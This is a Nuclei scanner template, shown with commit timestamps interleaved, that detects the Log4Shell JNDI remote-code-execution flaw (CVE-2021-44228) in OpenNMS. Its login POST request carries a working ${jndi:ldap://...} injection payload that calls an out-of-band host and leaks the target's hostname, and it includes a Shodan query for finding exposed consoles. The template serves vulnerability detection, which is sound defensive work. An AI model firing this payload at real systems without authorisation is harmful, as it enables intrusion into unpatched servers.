2022-07-14 13:31:10 +00:00
id : opennms-log4j-jndi-rce
info :
2022-10-10 19:22:59 +00:00
name : OpenNMS - JNDI Remote Code Execution (Apache Log4j)
2022-07-14 13:31:10 +00:00
author : johnk3r
2022-07-15 10:16:29 +00:00
severity : critical
2022-10-10 19:51:42 +00:00
description : |
2022-10-10 19:22:59 +00:00
OpenNMS JNDI is susceptible to remote code execution via Apache Log4j 2.14.1 and before. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
2022-07-14 13:31:10 +00:00
reference :
- https://www.horizon3.ai/the-long-tail-of-log4shell-exploitation/
- https://www.opennms.com/en/blog/2021-12-10-opennms-products-affected-by-apache-log4j-vulnerability-cve-2021-44228/
2022-07-15 04:53:51 +00:00
- https://logging.apache.org/log4j/2.x/security.html
2022-07-15 10:16:29 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
2022-07-14 13:31:10 +00:00
classification :
2022-10-10 20:06:39 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 10
2022-07-14 13:31:10 +00:00
cve-id : CVE-2021-44228
2022-10-19 21:11:27 +00:00
cwe-id : CWE-77
2022-07-14 14:18:13 +00:00
metadata :
2023-10-14 11:27:55 +00:00
verified : true
2023-04-28 08:11:21 +00:00
max-request : 1
2022-07-14 14:18:13 +00:00
shodan-query : title:"OpenNMS Web Console"
2022-10-12 09:27:53 +00:00
tags : jndi,log4j,rce,opennms,cve,cve2021,kev,oast
2023-05-03 18:46:17 +00:00
variables :
rand1 : '{{rand_int(111, 999)}}'
rand2 : '{{rand_int(111, 999)}}'
2023-04-27 04:28:59 +00:00
http :
2022-07-14 13:31:10 +00:00
- raw :
- |
POST /opennms/j_spring_security_check HTTP/1.1
Referer : {{RootURL}}/opennms/login.jsp
Content-Type : application/x-www-form-urlencoded
2023-05-03 18:46:17 +00:00
j_username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.postdata.{{interactsh-url}}}&j_password=password&Login=&j_usergroups=
2022-07-14 13:31:10 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-16 13:32:52 +00:00
part : interactsh_protocol # Confirms the DNS Interaction
2022-07-14 13:31:10 +00:00
words :
- "dns"
- type : regex
part : interactsh_request
regex :
2023-10-19 14:35:43 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
2022-07-14 13:31:10 +00:00
extractors :
2022-07-15 04:53:51 +00:00
- type : kval
kval :
2023-10-19 14:35:43 +00:00
- interactsh_ip # Print remote interaction IP in output
2022-07-15 04:53:51 +00:00
2023-05-03 18:46:17 +00:00
- type : regex
group : 2
regex :
2023-10-19 14:35:43 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
2023-07-16 13:32:52 +00:00
part : interactsh_request
2023-05-03 18:46:17 +00:00
2022-07-14 13:31:10 +00:00
- type : regex
group : 1
regex :
2023-10-19 14:35:43 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
part : interactsh_request